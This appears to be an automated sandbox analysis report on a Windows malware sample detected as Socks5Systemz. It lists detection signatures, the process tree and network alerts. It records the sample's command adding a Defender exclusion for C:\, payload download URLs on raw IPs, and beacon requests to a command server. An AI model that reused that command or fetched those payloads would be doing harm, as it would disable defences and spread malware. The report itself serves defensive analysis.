Edit tour

Windows Analysis Report
dxRwXy19pq.exe

Overview

General Information

Sample name:	dxRwXy19pq.exe renamed because original name is a hash value
Original sample name:	87ce4dd757d1ff7d2755b42a9e021784.exe
Analysis ID:	1632175
MD5:	87ce4dd757d1ff7d2755b42a9e021784
SHA1:	ae967c99b1f1cb07191cb1d1482f8ce56cd106db
SHA256:	44381dcaf3805730f78eef801218182b308d5ef4d712a5636315f09f2a5e0065
Tags:	exeuser-abuse_ch
Infos:

Detection

Socks5Systemz

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Socks5Systemz

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to infect the boot sector

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

PE file has a writeable .text section

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Classification

Process Tree

System is w10x64

dxRwXy19pq.exe (PID: 6396 cmdline: "C:\Users\user\Desktop\dxRwXy19pq.exe" MD5: 87CE4DD757D1FF7D2755B42A9E021784)

ded120f6-6c1d-18da-bc8d-0195720b2895.exe (PID: 6884 cmdline: "C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe" MD5: A875EFEC27F37FB4E42141BBA8771C65)

vbc.exe (PID: 3288 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe MD5: A526DE1F9DE51E1ACBC6B8A492673174)

powershell.exe (PID: 7196 cmdline: powershell Add-MpPreference -ExclusionPath C:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7444 cmdline: powershell Remove-MpPreference -ExclusionPath C:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7560 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

873bfcef-4c55-422e-88ba-1a31e36a0f58.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe" MD5: 836220DE6E7653554717D2CA5C73F98E)

873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp (PID: 7392 cmdline: "C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp" /SL5="$303D6,3759395,56832,C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe" MD5: 5B423B3A38BD502496B29853EC88923B)

photorecoverylib59.exe (PID: 7424 cmdline: "C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe" -i MD5: 8938736B03801821146F1A0365C937F4)

svchost.exe (PID: 6924 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5612 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 332 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 3276 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5200 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 7936 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 7944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2472564067.0000000002C86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000E.00000002.2472654579.0000000002D31000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: powershell.exe PID: 7196	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: photorecoverylib59.exe PID: 7424	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: powershell.exe PID: 7444	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell Add-MpPreference -ExclusionPath C:\, CommandLine: powershell Add-MpPreference -ExclusionPath C:\, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, ParentProcessId: 3288, ParentProcessName: vbc.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath C:\, ProcessId: 7196, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Add-MpPreference -ExclusionPath C:\, CommandLine: powershell Add-MpPreference -ExclusionPath C:\, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, ParentProcessId: 3288, ParentProcessName: vbc.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath C:\, ProcessId: 7196, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6924, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:18:15.102079+0100	2028765	3	Unknown Traffic	192.168.2.6	49687	91.240.118.49	443	TCP
2025-03-07T20:19:18.905080+0100	2028765	3	Unknown Traffic	192.168.2.6	49718	176.113.115.96	443	TCP
2025-03-07T20:19:25.339606+0100	2028765	3	Unknown Traffic	192.168.2.6	49720	176.113.115.96	443	TCP
2025-03-07T20:19:28.661592+0100	2028765	3	Unknown Traffic	192.168.2.6	49721	176.113.115.96	443	TCP
2025-03-07T20:19:32.233098+0100	2028765	3	Unknown Traffic	192.168.2.6	49723	176.113.115.96	443	TCP
2025-03-07T20:19:35.222327+0100	2028765	3	Unknown Traffic	192.168.2.6	49724	176.113.115.96	443	TCP
2025-03-07T20:19:38.445446+0100	2028765	3	Unknown Traffic	192.168.2.6	49725	176.113.115.96	443	TCP
2025-03-07T20:19:41.916959+0100	2028765	3	Unknown Traffic	192.168.2.6	49726	176.113.115.96	443	TCP
2025-03-07T20:19:45.067068+0100	2028765	3	Unknown Traffic	192.168.2.6	49727	176.113.115.96	443	TCP
2025-03-07T20:19:48.395615+0100	2028765	3	Unknown Traffic	192.168.2.6	49728	176.113.115.96	443	TCP
2025-03-07T20:19:52.074027+0100	2028765	3	Unknown Traffic	192.168.2.6	49729	176.113.115.96	443	TCP
2025-03-07T20:19:55.760999+0100	2028765	3	Unknown Traffic	192.168.2.6	49730	176.113.115.96	443	TCP
2025-03-07T20:19:58.779498+0100	2028765	3	Unknown Traffic	192.168.2.6	49731	176.113.115.96	443	TCP
2025-03-07T20:20:02.256685+0100	2028765	3	Unknown Traffic	192.168.2.6	49732	176.113.115.96	443	TCP
2025-03-07T20:20:05.391590+0100	2028765	3	Unknown Traffic	192.168.2.6	49733	176.113.115.96	443	TCP
2025-03-07T20:20:09.033789+0100	2028765	3	Unknown Traffic	192.168.2.6	49734	176.113.115.96	443	TCP
2025-03-07T20:20:12.497160+0100	2028765	3	Unknown Traffic	192.168.2.6	49735	176.113.115.96	443	TCP
2025-03-07T20:20:15.627870+0100	2028765	3	Unknown Traffic	192.168.2.6	49736	176.113.115.96	443	TCP

ET MALWARE Possible Malicious Macro DL EXE Feb 2016

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:18:10.134150+0100	2022550	1	A Network Trojan was detected	192.168.2.6	49684	104.168.28.10	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:19:20.359099+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49718	176.113.115.96	443	TCP
2025-03-07T20:19:26.330980+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49720	176.113.115.96	443	TCP
2025-03-07T20:19:29.581029+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49721	176.113.115.96	443	TCP
2025-03-07T20:19:32.989033+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49723	176.113.115.96	443	TCP
2025-03-07T20:19:36.006101+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49724	176.113.115.96	443	TCP
2025-03-07T20:19:39.395563+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49725	176.113.115.96	443	TCP
2025-03-07T20:19:42.695310+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49726	176.113.115.96	443	TCP
2025-03-07T20:19:45.896707+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49727	176.113.115.96	443	TCP
2025-03-07T20:19:49.792814+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49728	176.113.115.96	443	TCP
2025-03-07T20:19:53.393684+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49729	176.113.115.96	443	TCP
2025-03-07T20:19:56.518810+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49730	176.113.115.96	443	TCP
2025-03-07T20:20:00.057270+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49731	176.113.115.96	443	TCP
2025-03-07T20:20:03.059024+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49732	176.113.115.96	443	TCP
2025-03-07T20:20:06.447963+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49733	176.113.115.96	443	TCP
2025-03-07T20:20:10.241878+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49734	176.113.115.96	443	TCP
2025-03-07T20:20:13.298122+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49735	176.113.115.96	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: dxRwXy19pq.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://91.240.118.49/forsale/silk.exe	Avira URL Cloud: Label: malware
Source: https://91.240.118.49/forsale/silk.exe/	Avira URL Cloud: Label: malware
Source: http://104.168.28.10/001.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Avira: detection malicious, Label: TR/Kryptik.zlcio
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\001[1].exe	Avira: detection malicious, Label: TR/Kryptik.zlcio

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\001[1].exe	ReversingLabs: Detection: 72%
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	ReversingLabs: Detection: 72%
Source: C:\Users\user\AppData\Local\Temp\d.ghSlh.exe (copy)	ReversingLabs: Detection: 72%
Source: C:\Windows\Temp\VzUtW_3288.sys	ReversingLabs: Detection: 54%

Multi AV Scanner detection for submitted file

Source: dxRwXy19pq.exe	Virustotal: Detection: 72%			Perma Link
Source: dxRwXy19pq.exe	ReversingLabs: Detection: 65%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045D230 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	13_2_0045D230
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045D2E4 ArcFourCrypt,	13_2_0045D2E4
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045D2FC ArcFourCrypt,	13_2_0045D2FC
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_10001000 ISCryptGetVersion,	13_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_10001130 ArcFourCrypt,	13_2_10001130

Source: vbc.exe, 00000005.00000002.1371160311.000000014007F000.00000002.00000400.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_ac6672e3-e

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe

Unpacked PE file: 14.2.photorecoverylib59.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Photo Recovery Library_is1

Source: unknown	HTTPS traffic detected: 91.240.118.49:443 -> 192.168.2.6:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.113.115.96:443 -> 192.168.2.6:49736 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00452AD4 FindFirstFileA,GetLastError,	13_2_00452AD4
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00475798 FindFirstFileA,FindNextFileA,FindClose,	13_2_00475798
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0046417C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	13_2_0046417C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004645F8 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	13_2_004645F8
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00462BF0 FindFirstFileA,FindNextFileA,FindClose,	13_2_00462BF0
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00498FDC FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	13_2_00498FDC

Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 4x nop then mov rax, qword ptr [rcx+10h]		0_2_00425949
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 4x nop then mov qword ptr [rcx+08h], rdx		0_2_00488D60

Source: Joe Sandbox View	IP Address: 176.113.115.96 176.113.115.96
Source: Joe Sandbox View	IP Address: 104.168.28.10 104.168.28.10

Source: Network traffic	Suricata IDS: 2022550 - Severity 1 - ET MALWARE Possible Malicious Macro DL EXE Feb 2016 : 192.168.2.6:49684 -> 104.168.28.10:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49687 -> 91.240.118.49:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49718 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49721 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49725 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49732 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49729 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49733 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49734 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49736 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49727 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49724 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49728 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49723 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49731 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49735 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49720 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49726 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49730 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49728 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49718 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49724 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49733 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49732 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49729 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49731 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49726 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49720 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49727 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49730 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49721 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49725 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49723 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49735 -> 176.113.115.96:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49734 -> 176.113.115.96:443

Source: global traffic	HTTP traffic detected: GET /forsale/silk.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 91.240.118.49Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38f926d19fe6595cd66946851e91fcd85241ab258d81329326be8e343a8f51f8a95b5cd212a91f953c588fb52d6db9f51a9a0a29d5954cad713479a672918d4348dd7d5915c4eca HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38c926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38d926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38a926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb38b926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ae14615677411efa3231678fbb388926d19fe6595cd66946951e91fcd85250aef18d105672e26e5fd09b4a149c9c4e9976278d7f0449ad5f64dd7cc9f4badbff4c50d15918a5449d3323240976481d5d5905c4bce7535ffde HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 176.113.115.96
